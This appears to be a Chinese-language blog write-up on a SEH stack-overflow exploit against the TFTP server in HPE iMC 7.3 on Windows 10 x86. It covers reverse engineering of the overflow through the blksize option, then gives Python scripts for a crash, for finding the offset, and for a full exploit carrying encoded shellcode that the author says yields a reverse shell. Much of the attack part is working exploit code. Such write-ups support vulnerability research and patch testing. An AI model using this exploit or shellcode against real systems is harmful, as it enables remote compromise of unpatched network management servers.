本次实验讨论在Win10 21h2 x86
系统下关闭全局DEP
。后续再看开启全局DEP
的情况。软件版本为:iMC_PLAT_7.3_E0506_Std_Win。
因为是UDP
包,断点需要下在函数ws2_32!recvfrom
上面:

尝试发送一个包,然后用命令k
查看调用栈,注意标红的位置,后续可以在该位置下断点,删除之前在recvfrom
下的断点。
IDA
中sub_40A400
函数用于处理tftpserver
的命令,注意看如下用于从服务器读取文件,这里申请了一个9999bytes
大小的空间:

跟进:

继续跟进函数sub_407730
:

注意看,读取文件内容到之前申请的9999bytes
空间里面去,而count又是用户可以控制的,那么,如果读取内容大于9999bytes
,就会造成栈溢出。
因为涉及的是tftpserver
的漏洞利用,需要对tftpserver
相关协议有一个了解,这里重点关注RFC2347即可。结合前面逆向的分析,这里漏洞点在blksize
是我们可以控制的(但是这个值最大为65535
),最后会带入上面的count
参数,结合tftpserver
读文件的时候,导致栈溢出。
看一下能造成crash
的脚本:
1 2 3 4 5 6 7 8 9 10 11 12
| import tftpy import struct total_size = 40960 junk = b'\x41'*total_size with open("crash.txt","wb") as filehander: filehander.write(junk) client = tftpy.TftpClient('127.0.0.1', 69) client.upload('crash.txt', 'crash.txt')
client = tftpy.TftpClient('127.0.0.1', 69, options={'blksize':10240}) client.download('crash.txt','download.txt')
|
先来看一下溢出的情况,是一个SEH
的栈溢出:

获取SEH
覆盖的Offset
:


验证Offset
的脚本如下:(10004
是最终符合条件的偏移)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import tftpy import struct total_size = 40960 junk1 = b'A'*10004 nseh = b'B'*4 seh = b'C'*4 junk2 = b'D'*(total_size-10004-4-4) with open("offset.txt","wb") as filehander: filehander.write(junk1+nseh+seh+junk2) client = tftpy.TftpClient('127.0.0.1', 69) client.upload('offset.txt', 'offset.txt')
client = tftpy.TftpClient('127.0.0.1', 69, options={'blksize':40960}) client.download('offset.txt','download.txt')
|

发现仅能覆盖Next SEH
,这就是问题所在,导致没法利用,坑点。
为了保证我们能够完全覆盖Next SEH
和SEH Handler
,需要让blksize
的值为某个确定值,多次尝试之后最终确定其大小为61400
,最大的坑点。
坏字符仅为\x00
,这就不过多说了。
tftp
协议相关的部分,我使用了tftpy这个库,可以节省不少时间。
最终的利用代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import tftpy import struct import time total_size = 0x20000
shellcode = b"" shellcode += b"\xbb\x4f\x66\xd7\x53\xda\xc9\xd9\x74\x24\xf4" shellcode += b"\x5a\x2b\xc9\xb1\x52\x31\x5a\x12\x03\x5a\x12" shellcode += b"\x83\x8d\x62\x35\xa6\xed\x83\x3b\x49\x0d\x54" shellcode += b"\x5c\xc3\xe8\x65\x5c\xb7\x79\xd5\x6c\xb3\x2f" shellcode += b"\xda\x07\x91\xdb\x69\x65\x3e\xec\xda\xc0\x18" shellcode += b"\xc3\xdb\x79\x58\x42\x58\x80\x8d\xa4\x61\x4b" shellcode += b"\xc0\xa5\xa6\xb6\x29\xf7\x7f\xbc\x9c\xe7\xf4" shellcode += b"\x88\x1c\x8c\x47\x1c\x25\x71\x1f\x1f\x04\x24" shellcode += b"\x2b\x46\x86\xc7\xf8\xf2\x8f\xdf\x1d\x3e\x59" shellcode += b"\x54\xd5\xb4\x58\xbc\x27\x34\xf6\x81\x87\xc7" shellcode += b"\x06\xc6\x20\x38\x7d\x3e\x53\xc5\x86\x85\x29" shellcode += b"\x11\x02\x1d\x89\xd2\xb4\xf9\x2b\x36\x22\x8a" shellcode += b"\x20\xf3\x20\xd4\x24\x02\xe4\x6f\x50\x8f\x0b" shellcode += b"\xbf\xd0\xcb\x2f\x1b\xb8\x88\x4e\x3a\x64\x7e" shellcode += b"\x6e\x5c\xc7\xdf\xca\x17\xea\x34\x67\x7a\x63" shellcode += b"\xf8\x4a\x84\x73\x96\xdd\xf7\x41\x39\x76\x9f" shellcode += b"\xe9\xb2\x50\x58\x0d\xe9\x25\xf6\xf0\x12\x56" shellcode += b"\xdf\x36\x46\x06\x77\x9e\xe7\xcd\x87\x1f\x32" shellcode += b"\x41\xd7\x8f\xed\x22\x87\x6f\x5e\xcb\xcd\x7f" shellcode += b"\x81\xeb\xee\x55\xaa\x86\x15\x3e\x15\xfe\x4e" shellcode += b"\x37\xfd\xfd\x70\x56\xa2\x88\x96\x32\x4a\xdd" shellcode += b"\x01\xab\xf3\x44\xd9\x4a\xfb\x52\xa4\x4d\x77" shellcode += b"\x51\x59\x03\x70\x1c\x49\xf4\x70\x6b\x33\x53" shellcode += b"\x8e\x41\x5b\x3f\x1d\x0e\x9b\x36\x3e\x99\xcc" shellcode += b"\x1f\xf0\xd0\x98\x8d\xab\x4a\xbe\x4f\x2d\xb4" shellcode += b"\x7a\x94\x8e\x3b\x83\x59\xaa\x1f\x93\xa7\x33" shellcode += b"\x24\xc7\x77\x62\xf2\xb1\x31\xdc\xb4\x6b\xe8" shellcode += b"\xb3\x1e\xfb\x6d\xf8\xa0\x7d\x72\xd5\x56\x61" shellcode += b"\xc3\x80\x2e\x9e\xec\x44\xa7\xe7\x10\xf5\x48" shellcode += b"\x32\x91\x15\xab\x96\xec\xbd\x72\x73\x4d\xa0" shellcode += b"\x84\xae\x92\xdd\x06\x5a\x6b\x1a\x16\x2f\x6e" shellcode += b"\x66\x90\xdc\x02\xf7\x75\xe2\xb1\xf8\x5f"
junk1 = b'\x41'*10004 nseh = b"\xEB\x06\x90\x90" seh = struct.pack("<L",0x1206d7ce) nops1 = b'\x90'*64 junk2 = b'B'*(total_size-10004-4-4-64-len(shellcode)) buffer = junk1+nseh+seh+nops1+shellcode+junk2 with open("exploit.txt","wb") as filehander: filehander.write(buffer) client = tftpy.TftpClient('127.0.0.1', 69) client.upload('exploit.txt', 'exploit.txt')
client = tftpy.TftpClient('127.0.0.1', 69, options={'blksize':61400}) client.download('exploit.txt','download.txt')
|
喜闻乐见的反弹shell
:

参考:
1.https://blog.exodusintel.com/2018/10/16/hpe-imc-a-case-study-on-the-reliability-of-security-fixes/
2.https://www.tenable.com/plugins/nessus/102500